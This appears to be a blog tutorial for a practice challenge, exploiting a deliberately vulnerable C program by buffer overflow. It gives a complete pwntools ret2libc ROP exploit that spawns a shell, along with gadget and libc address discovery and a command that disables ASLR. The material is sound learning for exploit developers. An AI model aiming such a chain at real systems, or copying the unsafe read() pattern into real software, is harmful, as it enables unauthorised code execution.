ret2libc ROP Attack (No ASLR): Reusing Library Functions

September 12, 2025

ret2libc ROP Attack (No ASLR): Reusing Library Functions

Challenge 7: ret2libc ROP Attack (no ASLR) (7_simple.c)

Source Code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char name[32] = {0};
    printf("Your name is: ");
    read(0, name, 256);  // <- Buffer overflow: reads 256 bytes into 32-byte buffer
    puts(name);
    return 0;
}

// Gadget functions for ROP chain practice
void pop_rdi_ret() {
    asm("pop %rdi; ret");  // <- Useful ROP gadget
}

// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/7_simple src/7_simple.c

This demonstrates the fundamental ret2libc technique - redirecting execution to system functions in libc to spawn a shell without needing shellcode.

Binary Setup

gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/7_simple src/7_simple.c

Security Mitigations:

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled    <- Prevents shellcode execution
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

Key Vulnerabilities:

  1. Buffer Overflow: read(0, name, 256) reads 256 bytes into 32-byte buffer
  2. No Stack Canaries: -fno-stack-protector allows return address overwrite
  3. NX Enabled: Cannot execute shellcode on stack, must use ROP

Why ret2libc?

The Problem with NX

# With NX enabled, stack is not executable:
gef> vmmap
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 rwx [stack]  # Without NX
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 rw- [stack]  # With NX <- No execute

Solution: Instead of injecting shellcode, reuse existing executable code in libc.

ret2libc Concept

  1. system() function in libc executes shell commands
  2. "/bin/sh" string exists in libc
  3. ROP gadgets set up function call: system("/bin/sh")

ASLR Bypass (Disabled for Learning)

Why Disable ASLR?

# Disable ASLR to focus on ROP mechanics
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

With ASLR enabled, libc addresses randomize:

./bin/7_simple  # libc at: 0x7f8a2c400000
./bin/7_simple  # libc at: 0x7f3d1e200000  <- Different!
./bin/7_simple  # libc at: 0x7f9b4f800000  <- Different!

With ASLR disabled, addresses stay constant:

./bin/7_simple  # libc at: 0x7ffff7c00000
./bin/7_simple  # libc at: 0x7ffff7c00000  <- Same!
./bin/7_simple  # libc at: 0x7ffff7c00000  <- Same!

Address Discovery

Step 1: Find libc Base Address

ian@vps:~/pwn/pwnpractice$ ldd ./bin/7_simple
        linux-vdso.so.1 (0x00007ffff7fc3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc5000)

libc base: 0x00007ffff7c00000

Step 2: Find system() Offset

ian@vps:~/pwn/pwnpractice$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  1050: 0000000000058750    45 FUNC    WEAK   DEFAULT   17 system@@GLIBC_2.2.5

system offset: 0x58750

Step 3: Find "/bin/sh" String

ian@vps:~/pwn/pwnpractice$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 1cb42f /bin/sh

"/bin/sh" offset: 0x1cb42f

Step 4: Calculate Final Addresses

libc_base = 0x00007ffff7c00000
system_addr = libc_base + 0x58750      # = 0x7ffff7c58750
binsh_addr = libc_base + 0x1cb42f      # = 0x7ffff7dcb42f

ROP Chain Construction

Understanding x64 Calling Convention

# x64 System V ABI calling convention:
# First argument in RDI register
# system("/bin/sh") requires: RDI = address of "/bin/sh"

Required ROP Gadgets

# Find ROP gadgets in the binary
ian@vps:~/pwn/pwnpractice$ ropper -f ./bin/7_simple
0x00000000004011e7: pop rdi; ret;  # <- Load argument into RDI
0x000000000040101a: ret;           # <- Stack alignment

Buffer Overflow Analysis

# Find overflow offset with cyclic pattern
gef> pattern create 100
gef> run
# Input the pattern, then check crash
gef> pattern search $rsp
[+] Found at offset 40 (0x28)

Result: Need 40 bytes of padding to reach return address.

Python Exploit Breakdown

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('/home/ian/pwn/pwnpractice/bin/7_simple')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Known addresses (ASLR disabled)
base = 0x00007ffff7c00000  # From ldd output
pop_rdi = 0x4011e7         # From ropper: pop rdi; ret
ret = 0x40101a             # From ropper: ret (for stack alignment)

# Calculate libc function addresses
system = base + libc.sym["system"]        # 0x58750
bin_sh = base + next(libc.search(b"/bin/sh"))  # 0x1cb42f

io = start()

# Build ROP chain
payload = b'A' * 40        # Padding to reach return address
payload += p64(pop_rdi)    # ROP gadget: pop rdi; ret
payload += p64(bin_sh)     # Argument: address of "/bin/sh"
payload += p64(ret)        # Stack alignment (required for system())
payload += p64(system)     # Call system()
payload += p64(0x0)        # Return address for system() (optional)

io.sendline(payload)
io.interactive()

ROP Chain Execution Flow

Stack Layout After Overflow:

[Buffer: AAAA...AAAA] (40 bytes)
[pop_rdi gadget     ] <- Return address
[/bin/sh address    ] <- Will be popped into RDI
[ret gadget         ] <- Stack alignment
[system() address   ] <- Final target
[0x0000000000000000 ] <- Return addr for system

Execution Steps:

  1. Buffer overflow overwrites return address with pop_rdi gadget
  2. pop rdi; ret loads /bin/sh address into RDI register
  3. ret gadget aligns stack (required by modern libc)
  4. system() executes with RDI pointing to "/bin/sh"
  5. Shell spawned!

Successful Exploitation

ian@vps:~/pwn/pwnpractice$ python3 solves/7_simple.py
[*] '/home/ian/pwn/pwnpractice/bin/7_simple'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Your name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe7\x11@
$ whoami
ian

Why did this attack work?

  1. NX Bypass: Uses existing executable code instead of injecting shellcode
  2. Function Reuse: Leverages legitimate system() function in libc
  3. ROP Technique: Chains gadgets to set up proper function call

Essential things used here

  1. Buffer Overflow: Control over return address
  2. ROP Gadgets: pop rdi; ret to set function argument
  3. libc Addresses: system() function and "/bin/sh" string
  4. Stack Alignment: Extra ret for modern calling conventions stack alignment in x64

Why This Exploit Fails Remotely

Local vs Remote Address Problem

Local System (Your Machine):

ian@vps:~/pwn/pwnpractice$ ldd ./bin/7_simple
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)

ian@vps:~/pwn/pwnpractice$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  1050: 0000000000058750    45 FUNC    WEAK   DEFAULT   17 system@@GLIBC_2.2.5

Your exploit uses: system = 0x00007ffff7c00000 + 0x58750 = 0x7ffff7c58750

Remote System (Different Machine):

# Different libc version (Ubuntu 20.04 vs 22.04)
victim@remote:~$ ldd ./bin/7_simple
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8a2c400000)  # Different base!

victim@remote:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  1050: 0000000000055410    45 FUNC    WEAK   DEFAULT   17 system@@GLIBC_2.2.5  # Different offset!

Remote reality: system = 0x00007f8a2c400000 + 0x55410 = 0x7f8a2c455410

The Exploit Failure

# Your hardcoded exploit
system_addr = 0x7ffff7c58750  # Your local address
binsh_addr = 0x7ffff7dcb42f   # Your local address

# What happens remotely:
# 1. Exploit jumps to 0x7ffff7c58750 (your local system address)
# 2. Remote system has different memory layout
# 3. Address points to unmapped memory or random data
# 4. Segmentation fault - exploit fails

Result: [1] Segmentation fault (core dumped)

Even with disabled ASLR, if remote system uses different libc version, offsets won't match and exploit fails.

Real-World Considerations

  • ASLR: Requires information leak to find libc addresses (see Challenge 8)
  • Stack Canaries: Would need canary bypass
  • Different libc versions: Need version fingerprinting or provided libc
  • PIE enabled: Would also need binary base address leak

-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.